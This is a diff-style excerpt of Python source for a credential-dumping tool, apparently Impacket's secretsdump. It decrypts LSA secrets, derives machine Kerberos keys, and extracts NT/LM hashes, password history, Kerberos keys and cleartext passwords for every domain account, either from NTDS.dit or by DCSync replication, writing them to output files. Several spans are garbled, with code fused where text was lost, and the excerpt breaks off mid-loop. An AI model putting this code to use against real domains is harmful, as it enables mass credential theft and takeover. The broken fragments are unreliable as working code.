secret != '': + printableSecret = secret + self.__secretItems.append(secret) + self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, printableSecret) + else: + # Default print, hexdump + printableSecret = '%s:%s' % (name, hexlify(secretItem).decode('utf-8')) + self.__secretItems.append(printableSecret) + # If we're using the default callback (ourselves), we print the hex representation. If not, the + # user will need to decide what to do. + if self.__module__ == self.__perSecretCallback.__module__: + if LOG.level <40 : + hexdump(secretItem) + self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_RAW, printableSecret) + + def __printMachineKerberos(self, rawsecret, machinename): + # Attempt to create Kerberos keys from machine account (if possible) + if hasattr(self.__remoteOps, 'getMachineKerberosSalt'): + salt = self.__remoteOps.getMachineKerberosSalt() + if salt == b'': + return False + else: + allciphers = [ + int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), + int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value), + int(constants.EncryptionTypes.des_cbc_md5.value) + ] + # Ok, so the machine account password is in raw UTF-16, BUT can contain any amount + # of invalid unicode characters. + # This took me (Dirk-jan) way too long to figure out, but apparently Microsoft + # implicitly replaces those when converting utf-16 to utf-8. + # When we use the same method we get the valid password -> key mapping :) + rawsecret = rawsecret.decode('utf-16-le', 'replace').encode('utf-8', 'replace') + for etype in allciphers: + try: + key = string_to_key(etype, rawsecret, salt, None) + except Exception: + LOG.debug('Exception', exc_info=True) + raise + typename = NTDSHashes.KERBEROS_TYPE[etype] + secret = "%s:%s:%s" % (machinename, typename, hexlify(key.contents).decode('utf-8')) + self.__secretItems.append(secret) + self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_KERBEROS, secret) + return True + else: + return False + + def dumpSecrets(self): + if self.__securityFile is None: + # No SECURITY file provided + return + + LOG.info('Dumping LSA Secrets') + + # Let's first see if there are cached entries + keys = self.enumKey('\\Policy\\Secrets') + if keys is None: + # No entries + return + try: + # Remove unnecessary value + keys.remove(b'NL$Control') + except: + pass + + if self.__LSAKey == b'': + self.__getLSASecretKey() + + for key in keys: + LOG.debug('Looking into %s' % key) + valueTypeList = ['CurrVal'] + # Check if old LSA secrets values are also need to be shown + if self.__history: + valueTypeList.append('OldVal') + + for valueType in valueTypeList: + value = self.getValue('\\Policy\\Secrets\\{}\\{}\\default'.format(key,valueType)) + if value is not None and value[1] != 0: + if self.__vistaStyle is True: + record = LSA_SECRET(value[1]) + tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32]) + plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:]) + record = LSA_SECRET_BLOB(plainText) + secret = record['Secret'] + else: + secret = self.__decryptSecret(self.__LSAKey, value[1]) + + # If this is an OldVal secret, let's append '_history' to be able to distinguish it and + # also be consistent with NTDS history + if valueType == 'OldVal': + key += '_history' + self.__printSecret(key, secret) + + def exportSecrets(self, baseFileName, openFileFunc = None): + if len(self.__secretItems) > 0: + fileName = baseFileName+'.secrets' + fd = openFile(fileName, openFileFunc=openFileFunc) + for item in self.__secretItems: + fd.write(item+'\n') + fd.close() + return fileName + + def exportCached(self, baseFileName, openFileFunc = None): + if len(self.__cachedItems) > 0: + fileName = baseFileName+'.cached' + fd = openFile(fileName, openFileFunc=openFileFunc) + for item in self.__cachedItems: + fd.write(item+'\n') + fd.close() + return fileName + + +class ResumeSessionMgrInFile(object): + def __init__(self, resumeFileName=None): + self.__resumeFileName = resumeFileName + self.__resumeFile = None + self.__hasResumeData = resumeFileName is not None + + def hasResumeData(self): + return self.__hasResumeData + + def clearResumeData(self): + self.endTransaction() + if self.__resumeFileName and os.path.isfile(self.__resumeFileName): + os.remove(self.__resumeFileName) + + def writeResumeData(self, data): + # self.beginTransaction() must be called first, but we are aware of performance here, so we avoid checking that + self.__resumeFile.seek(0, 0) + self.__resumeFile.truncate(0) + self.__resumeFile.write(data.encode()) + self.__resumeFile.flush() + + def getResumeData(self): + try: + self.__resumeFile = open(self.__resumeFileName,'rb') + except Exception as e: + raise Exception('Cannot open resume session file name %s' % str(e)) + resumeSid = self.__resumeFile.read() + self.__resumeFile.close() + # Truncate and reopen the file as wb+ + self.__resumeFile = open(self.__resumeFileName,'wb+') + return resumeSid.decode('utf-8') + + def getFileName(self): + return self.__resumeFileName + + def beginTransaction(self): + if not self.__resumeFileName: + self.__resumeFileName = 'sessionresume_%s' % ''.join(random.choice(string.ascii_letters) for _ in range(8)) + LOG.debug('Session resume file will be %s' % self.__resumeFileName) + if not self.__resumeFile: + try: + self.__resumeFile = open(self.__resumeFileName, 'wb+') + except Exception as e: + raise Exception('Cannot create "%s" resume session file: %s' % (self.__resumeFileName, str(e))) + + def endTransaction(self): + if self.__resumeFile: + self.__resumeFile.close() + self.__resumeFile = None + + +class NTDSHashes: + class SECRET_TYPE: + NTDS = 0 + NTDS_CLEARTEXT = 1 + NTDS_KERBEROS = 2 + + NAME_TO_INTERNAL = { + 'uSNCreated':b'ATTq131091', + 'uSNChanged':b'ATTq131192', + 'name':b'ATTm3', + 'objectGUID':b'ATTk589826', + 'objectSid':b'ATTr589970', + 'userAccountControl':b'ATTj589832', + 'primaryGroupID':b'ATTj589922', + 'accountExpires':b'ATTq589983', + 'logonCount':b'ATTj589993', + 'sAMAccountName':b'ATTm590045', + 'sAMAccountType':b'ATTj590126', + 'lastLogonTimestamp':b'ATTq589876', + 'userPrincipalName':b'ATTm590480', + 'unicodePwd':b'ATTk589914', + 'dBCSPwd':b'ATTk589879', + 'ntPwdHistory':b'ATTk589918', + 'lmPwdHistory':b'ATTk589984', + 'pekList':b'ATTk590689', + 'supplementalCredentials':b'ATTk589949', + 'pwdLastSet':b'ATTq589920', + } + + NAME_TO_ATTRTYP = { + 'userPrincipalName': 0x90290, + 'sAMAccountName': 0x900DD, + 'unicodePwd': 0x9005A, + 'dBCSPwd': 0x90037, + 'ntPwdHistory': 0x9005E, + 'lmPwdHistory': 0x900A0, + 'supplementalCredentials': 0x9007D, + 'objectSid': 0x90092, + 'userAccountControl':0x90008, + } + + ATTRTYP_TO_ATTID = { + 'userPrincipalName': '1.2.840.113556.1.4.656', + 'sAMAccountName': '1.2.840.113556.1.4.221', + 'unicodePwd': '1.2.840.113556.1.4.90', + 'dBCSPwd': '1.2.840.113556.1.4.55', + 'ntPwdHistory': '1.2.840.113556.1.4.94', + 'lmPwdHistory': '1.2.840.113556.1.4.160', + 'supplementalCredentials': '1.2.840.113556.1.4.125', + 'objectSid': '1.2.840.113556.1.4.146', + 'pwdLastSet': '1.2.840.113556.1.4.96', + 'userAccountControl':'1.2.840.113556.1.4.8', + } + + KERBEROS_TYPE = { + 1:'dec-cbc-crc', + 3:'des-cbc-md5', + 17:'aes128-cts-hmac-sha1-96', + 18:'aes256-cts-hmac-sha1-96', + 0xffffff74:'rc4_hmac', + } + + INTERNAL_TO_NAME = dict((v,k) for k,v in NAME_TO_INTERNAL.items()) + + SAM_NORMAL_USER_ACCOUNT = 0x30000000 + SAM_MACHINE_ACCOUNT = 0x30000001 + SAM_TRUST_ACCOUNT = 0x30000002 + + ACCOUNT_TYPES = ( SAM_NORMAL_USER_ACCOUNT, SAM_MACHINE_ACCOUNT, SAM_TRUST_ACCOUNT) + + class PEKLIST_ENC(Structure): + structure = ( + ('Header','8s=b""'), + ('KeyMaterial','16s=b""'), + ('EncryptedPek',':'), + ) + + class PEKLIST_PLAIN(Structure): + structure = ( + ('Header','32s=b""'), + ('DecryptedPek',':'), + ) + + class PEK_KEY(Structure): + structure = ( + ('Header','1s=b""'), + ('Padding','3s=b""'), + ('Key','16s=b""'), + ) + + class CRYPTED_HASH(Structure): + structure = ( + ('Header','8s=b""'), + ('KeyMaterial','16s=b""'), + ('EncryptedHash','16s=b""'), + ) + + class CRYPTED_HASHW16(Structure): + structure = ( + ('Header','8s=b""'), + ('KeyMaterial','16s=b""'), + ('Unknown',' 24: + if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None: + domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1] + userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']]) + else: + userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']] + cipherText = self.CRYPTED_BLOB(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']])) + + if cipherText['Header'][:4] == b'\x13\x00\x00\x00': + # Win2016 TP4 decryption is different + pekIndex = hexlify(cipherText['Header']) + plainText = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])], + cipherText['EncryptedHash'][4:], + cipherText['KeyMaterial']) + haveInfo = True + else: + plainText = self.__removeRC4Layer(cipherText) + haveInfo = True + else: + domain = None + userName = None + replyVersion = 'V%d' % record['pdwOutVersion'] + for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']: + try: + attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp']) + LOOKUP_TABLE = self.ATTRTYP_TO_ATTID + except Exception as e: + LOG.debug('Failed to execute OidFromAttid with error %s' % e) + LOG.debug('Exception', exc_info=True) + # Fallbacking to fixed table and hope for the best + attId = attr['attrTyp'] + LOOKUP_TABLE = self.NAME_TO_ATTRTYP + + if attId == LOOKUP_TABLE['userPrincipalName']: + if attr['AttrVal']['valCount'] > 0: + try: + domain = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1] + except: + domain = None + else: + domain = None + elif attId == LOOKUP_TABLE['sAMAccountName']: + if attr['AttrVal']['valCount'] > 0: + try: + userName = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le') + except: + LOG.error( + 'Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) + userName = 'unknown' + else: + LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) + userName = 'unknown' + if attId == LOOKUP_TABLE['supplementalCredentials']: + if attr['AttrVal']['valCount'] > 0: + blob = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) + plainText = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), blob) + if len(plainText) > 24: + haveInfo = True + if domain is not None: + userName = '%s\\%s' % (domain, userName) + + if haveInfo is True: + try: + userProperties = samr.USER_PROPERTIES(plainText) + except: + # On some old w2k3 there might be user properties that don't + # match [MS-SAMR] structure, discarding them + return + propertiesData = userProperties['UserProperties'] + for propertyCount in range(userProperties['PropertyCount']): + userProperty = samr.USER_PROPERTY(propertiesData) + propertiesData = propertiesData[len(userProperty):] + # For now, we will only process Newer Kerberos Keys and CLEARTEXT + if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys': + propertyValueBuffer = unhexlify(userProperty['PropertyValue']) + kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer) + data = kerbStoredCredentialNew['Buffer'] + for credential in range(kerbStoredCredentialNew['CredentialCount']): + keyDataNew = samr.KERB_KEY_DATA_NEW(data) + data = data[len(keyDataNew):] + keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']] + + if keyDataNew['KeyType'] in self.KERBEROS_TYPE: + answer = "%s:%s:%s" % (userName, self.KERBEROS_TYPE[keyDataNew['KeyType']],hexlify(keyValue).decode('utf-8')) + else: + answer = "%s:%s:%s" % (userName, hex(keyDataNew['KeyType']),hexlify(keyValue).decode('utf-8')) + # We're just storing the keys, not printing them, to make the output more readable + # This is kind of ugly... but it's what I came up with tonight to get an ordered + # set :P. Better ideas welcomed ;) + self.__kerberosKeys[answer] = None + if keysFile is not None: + self.__writeOutput(keysFile, answer + '\n') + elif userProperty['PropertyName'].decode('utf-16le') == 'Primary:CLEARTEXT': + # [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property + # This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password. + try: + answer = "%s:CLEARTEXT:%s" % (userName, unhexlify(userProperty['PropertyValue']).decode('utf-16le')) + except UnicodeDecodeError: + # This could be because we're decoding a machine password. Printing it hex + answer = "%s:CLEARTEXT:0x%s" % (userName, userProperty['PropertyValue'].decode('utf-8')) + + self.__clearTextPwds[answer] = None + if clearTextFile is not None: + self.__writeOutput(clearTextFile, answer + '\n') + + if clearTextFile is not None: + clearTextFile.flush() + if keysFile is not None: + keysFile.flush() + + LOG.debug('Leaving NTDSHashes.__decryptSupplementalInfo') + + def __decryptHash(self, record, prefixTable=None, outputFile=None): + LOG.debug('Entering NTDSHashes.__decryptHash') + if self.__useVSSMethod is True: + LOG.debug('Decrypting hash for user: %s' % record[self.NAME_TO_INTERNAL['name']]) + + sid = SAMR_RPC_SID(unhexlify(record[self.NAME_TO_INTERNAL['objectSid']])) + rid = sid.formatCanonical().split('-')[-1] + + if record[self.NAME_TO_INTERNAL['dBCSPwd']] is not None: + encryptedLMHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']])) + if encryptedLMHash['Header'][:4] == b'\x13\x00\x00\x00': + # Win2016 TP4 decryption is different + encryptedLMHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']])) + pekIndex = hexlify(encryptedLMHash['Header']) + tmpLMHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])], + encryptedLMHash['EncryptedHash'][:16], + encryptedLMHash['KeyMaterial']) + else: + tmpLMHash = self.__removeRC4Layer(encryptedLMHash) + LMHash = self.__removeDESLayer(tmpLMHash, rid) + else: + LMHash = ntlm.LMOWFv1('', '') + + if record[self.NAME_TO_INTERNAL['unicodePwd']] is not None: + encryptedNTHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']])) + if encryptedNTHash['Header'][:4] == b'\x13\x00\x00\x00': + # Win2016 TP4 decryption is different + encryptedNTHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']])) + pekIndex = hexlify(encryptedNTHash['Header']) + tmpNTHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])], + encryptedNTHash['EncryptedHash'][:16], + encryptedNTHash['KeyMaterial']) + else: + tmpNTHash = self.__removeRC4Layer(encryptedNTHash) + NTHash = self.__removeDESLayer(tmpNTHash, rid) + else: + NTHash = ntlm.NTOWFv1('', '') + + if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None: + domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1] + userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']]) + else: + userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']] + + if self.__printUserStatus is True: + # Enabled / disabled users + if record[self.NAME_TO_INTERNAL['userAccountControl']] is not None: + if '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '1': + userAccountStatus = 'Disabled' + elif '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '0': + userAccountStatus = 'Enabled' + else: + userAccountStatus = 'N/A' + + if record[self.NAME_TO_INTERNAL['pwdLastSet']] is not None: + pwdLastSet = self.__fileTimeToDateTime(record[self.NAME_TO_INTERNAL['pwdLastSet']]) + else: + pwdLastSet = 'N/A' + + answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash).decode('utf-8'), hexlify(NTHash).decode('utf-8')) + if self.__pwdLastSet is True: + answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet) + if self.__printUserStatus is True: + answer = "%s (status=%s)" % (answer, userAccountStatus) + + self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer) + + if outputFile is not None: + self.__writeOutput(outputFile, answer + '\n') + + if self.__history: + LMHistory = [] + NTHistory = [] + if record[self.NAME_TO_INTERNAL['lmPwdHistory']] is not None: + encryptedLMHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['lmPwdHistory']])) + tmpLMHistory = self.__removeRC4Layer(encryptedLMHistory) + for i in range(0, len(tmpLMHistory) // 16): + LMHash = self.__removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid) + LMHistory.append(LMHash) + + if record[self.NAME_TO_INTERNAL['ntPwdHistory']] is not None: + encryptedNTHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']])) + + if encryptedNTHistory['Header'][:4] == b'\x13\x00\x00\x00': + # Win2016 TP4 decryption is different + encryptedNTHistory = self.CRYPTED_HASHW16( + unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']])) + pekIndex = hexlify(encryptedNTHistory['Header']) + tmpNTHistory = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])], + encryptedNTHistory['EncryptedHash'], + encryptedNTHistory['KeyMaterial']) + else: + tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory) + + for i in range(0, len(tmpNTHistory) // 16): + NTHash = self.__removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid) + NTHistory.append(NTHash) + + for i, (LMHash, NTHash) in enumerate( + map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])): + if self.__noLMHash: + lmhash = hexlify(ntlm.LMOWFv1('', '')) + else: + lmhash = hexlify(LMHash) + + answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash.decode('utf-8'), + hexlify(NTHash).decode('utf-8')) + if outputFile is not None: + self.__writeOutput(outputFile, answer + '\n') + self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer) + else: + replyVersion = 'V%d' %record['pdwOutVersion'] + LOG.debug('Decrypting hash for user: %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) + domain = None + if self.__history: + LMHistory = [] + NTHistory = [] + + rid = unpack(' 0: + encrypteddBCSPwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) + encryptedLMHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encrypteddBCSPwd) + LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid) + else: + LMHash = ntlm.LMOWFv1('', '') + elif attId == LOOKUP_TABLE['unicodePwd']: + if attr['AttrVal']['valCount'] > 0: + encryptedUnicodePwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) + encryptedNTHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedUnicodePwd) + NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid) + else: + NTHash = ntlm.NTOWFv1('', '') + elif attId == LOOKUP_TABLE['userPrincipalName']: + if attr['AttrVal']['valCount'] > 0: + try: + domain = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1] + except: + domain = None + else: + domain = None + elif attId == LOOKUP_TABLE['sAMAccountName']: + if attr['AttrVal']['valCount'] > 0: + try: + userName = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le') + except: + LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) + userName = 'unknown' + else: + LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) + userName = 'unknown' + elif attId == LOOKUP_TABLE['objectSid']: + if attr['AttrVal']['valCount'] > 0: + objectSid = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) + else: + LOG.error('Cannot get objectSid for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) + objectSid = rid + elif attId == LOOKUP_TABLE['pwdLastSet']: + if attr['AttrVal']['valCount'] > 0: + try: + pwdLastSet = self.__fileTimeToDateTime(unpack(' 0: + if (unpack(' 0: + encryptedLMHistory = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) + tmpLMHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedLMHistory) + for i in range(0, len(tmpLMHistory) // 16): + LMHashHistory = drsuapi.removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid) + LMHistory.append(LMHashHistory) + else: + LOG.debug('No lmPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) + elif attId == LOOKUP_TABLE['ntPwdHistory']: + if attr['AttrVal']['valCount'] > 0: + encryptedNTHistory = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) + tmpNTHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedNTHistory) + for i in range(0, len(tmpNTHistory) // 16): + NTHashHistory = drsuapi.removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid) + NTHistory.append(NTHashHistory) + else: + LOG.debug('No ntPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) + + if domain is not None: + userName = '%s\\%s' % (domain, userName) + + answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash).decode('utf-8'), hexlify(NTHash).decode('utf-8')) + if self.__pwdLastSet is True: + answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet) + if self.__printUserStatus is True: + answer = "%s (status=%s)" % (answer, userAccountStatus) + self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer) + + if outputFile is not None: + self.__writeOutput(outputFile, answer + '\n') + + if self.__history: + for i, (LMHashHistory, NTHashHistory) in enumerate( + map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])): + if self.__noLMHash: + lmhash = hexlify(ntlm.LMOWFv1('', '')) + else: + lmhash = hexlify(LMHashHistory) + + answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash.decode('utf-8'), + hexlify(NTHashHistory).decode('utf-8')) + self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer) + if outputFile is not None: + self.__writeOutput(outputFile, answer + '\n') + + if outputFile is not None: + outputFile.flush() + + LOG.debug('Leaving NTDSHashes.__decryptHash') + + def dump(self): + hashesOutputFile = None + keysOutputFile = None + clearTextOutputFile = None + + if self.__useVSSMethod is True: + if self.__NTDS is None: + # No NTDS.dit file provided and were asked to use VSS + return + else: + if self.__NTDS is None: + # DRSUAPI method, checking whether target is a DC + try: + if self.__remoteOps is not None: + try: + self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1]) + except: + if os.getenv('KRB5CCNAME') is not None and self.__justUser is not None: + # RemoteOperations failed. That might be because there was no way to log into the + # target system. We just have a last resort. Hope we have tickets cached and that they + # will work + pass + else: + raise + else: + raise Exception('No remote Operations available') + except Exception as e: + LOG.debug('Exiting NTDSHashes.dump() because %s' % e) + # Target's not a DC + return + + try: + # Let's check if we need to save results in a file + if self.__outputFileName is not None: + LOG.debug('Saving output to %s' % self.__outputFileName) + # We have to export. Are we resuming a session? + if self.__resumeSession.hasResumeData(): + mode = 'a+' + else: + mode = 'w+' + hashesOutputFile = openFile(self.__outputFileName+'.ntds',mode) + if self.__justNTLM is False: + keysOutputFile = openFile(self.__outputFileName+'.ntds.kerberos',mode) + clearTextOutputFile = openFile(self.__outputFileName+'.ntds.cleartext',mode) + + LOG.info('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)') + if self.__useVSSMethod: + # We start getting rows from the table aiming at reaching + # the pekList. If we find users records we stored them + # in a temp list for later process. + self.__getPek() + if self.__PEK is not None: + LOG.info('Reading and decrypting hashes from %s ' % self.__NTDS) + # First of all, if we have users already cached, let's decrypt their hashes + for record in self.__tmpUsers: + try: + self.__decryptHash(record, outputFile=hashesOutputFile) + if self.__justNTLM is False: + self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile) + except Exception as e: + LOG.debug('Exception', exc_info=True) + try: + LOG.error( + "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']]) + LOG.error(str(e)) + pass + except: + LOG.error("Error while processing row!") + LOG.error(str(e)) + pass + + # Now let's keep moving through the NTDS file and decrypting what we find + while True: + try: + record = self.__ESEDB.getNextRow(self.__cursor) + except: + LOG.error('Error while calling getNextRow(), trying the next one') + continue + + if record is None: + break + try: + if record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES: + self.__decryptHash(record, outputFile=hashesOutputFile) + if self.__justNTLM is False: + self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile) + except Exception as e: + LOG.debug('Exception', exc_info=True) + try: + LOG.error( + "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']]) + LOG.error(str(e)) + pass + except: + LOG.error("Error while processing row!") + LOG.error(str(e)) + pass + else: + LOG.info('Using the DRSUAPI method to get NTDS.DIT secrets') + status = STATUS_MORE_ENTRIES + enumerationContext = 0 + + # Do we have to resume from a previously saved session? + if self.__resumeSession.hasResumeData(): + resumeSid = self.__resumeSession.getResumeData() + LOG.info('Resuming from SID %s, be patient' % resumeSid) + else: + resumeSid = None + # We do not create a resume file when asking for a single user + if self.__justUser is None: + self.__resumeSession.beginTransaction() + + if self.__justUser is not None: + # Depending on the input received, we need to change the formatOffered before calling + # DRSCrackNames. + # There are some instances when you call -just-dc-user and you receive ERROR_DS_NAME_ERROR_NOT_UNIQUE + # That's because we don't specify the domain for the user (and there might be duplicates) + # Always remember that if you specify a domain, you should specify the NetBIOS domain name, + # not the FQDN. Just for this time. It's confusing I know, but that's how this API works. + if self.__justUser.find('\\') >=0 or self.__justUser.find('/') >= 0: + self.__justUser = self.__justUser.replace('/','\\') + formatOffered = drsuapi.DS_NAME_FORMAT.DS_NT4_ACCOUNT_NAME + else: + formatOffered = drsuapi.DS_NT4_ACCOUNT_NAME_SANS_DOMAIN + + crackedName = self.__remoteOps.DRSCrackNames(formatOffered, + drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME, + name=self.__justUser) + + if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1: + if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0: + raise Exception("%s: %s" % system_errors.ERROR_MESSAGES[ + 0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']]) + + userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1]) + #userRecord.dump() + replyVersion = 'V%d' % userRecord['pdwOutVersion'] + if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0: + raise Exception('DRSGetNCChanges didn\'t return any object!') + else: + LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % ( + crackedName['pmsgOut']['V1']['pResult']['cItems'], self.__justUser)) + try: + self.__decryptHash(userRecord, + userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'], + hashesOutputFile) + if self.__justNTLM is False: + self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][ + 'pPrefixEntry'], keysOutputFile, clearTextOutputFile) + + except Exception as e: + LOG.error("Error while processing user!") + LOG.debug("Exception", exc_info=True) + LOG.error(str(e)) + else: + while status == STATUS_MORE_ENTRIES: + resp = self.__remoteOps.getDomainUsers(enumerationContext) + + for user in resp['Buffer']['Buffer']: + userName = user['Name'] + + userSid = self.__remoteOps.ridToSid(user['RelativeId']) + if resumeSid is not None: + # Means we're looking for a SID before start processing back again + if resumeSid == userSid.formatCanonical(): + # Match!, next round we will back processing + LOG.debug('resumeSid %s reached! processing users from now on' % userSid.formatCanonical()) + resumeSid = None + else: + LOG.debug('Skipping SID %s since it was processed already' % userSid.formatCanonical()) + continue + + # Let's crack the user sid into DS_FQDN_1779_NAME + # In theory I shouldn't need to crack the sid. Instead + # I could use it when calling DRSGetNCChanges inside the DSNAME parameter. + # For some reason tho, I get ERROR_DS_DRA_BAD_DN when doing so. + crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME, + drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME, + name=userSid.formatCanonical()) + + if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1: + if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0: + LOG.error("%s: %s" % system_errors.ERROR_MESSAGES[ + 0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']]) + break + userRecord = self.__remoteOps.DRSGetNCChanges( + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1]) + # userRecord.dump() + replyVersion = 'V%d' % userRecord['pdwOutVersion'] + if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0: + raise Exception('DRSGetNCChanges didn\'t return any object!') + else: + LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % ( + crackedName['pmsgOut']['V1']['pResult']['cItems'], userName)) + try: + self.__decryptHash(userRecord, + userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'], + hashesOutputFile) + if self.__justNTLM is False: + self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][ + 'pPrefixEntry'], keysOutputFile, clearTextOutputFile) + + except Exception as e: + LOG.error("Error while processing user!") + LOG.debug("Exception", exc_info=True) + LOG.error(str(e)) + + # Saving the session state + self.__resumeSession.writeResumeData(userSid.formatCanonical()) + + enumerationContext = resp['EnumerationContext'] + status = resp['ErrorCode'] + + # Everything went well and we covered all the users + # Let's remove the resume file is we had created it + if self.__justUser is None: + self.__resumeSession.clearResumeData() + + LOG.debug("Finished processing and printing user's hashes, now printing supplemental information") + # Now we'll print the Kerberos keys. So we don't mix things up in the output. + if len(self.__kerberosKeys) > 0: + if self.__useVSSMethod is True: + LOG.info('Kerberos keys from %s ' % self.__NTDS) + else: + LOG.info('Kerberos keys grabbed') + + for itemKey in list(self.__kerberosKeys.keys()): + 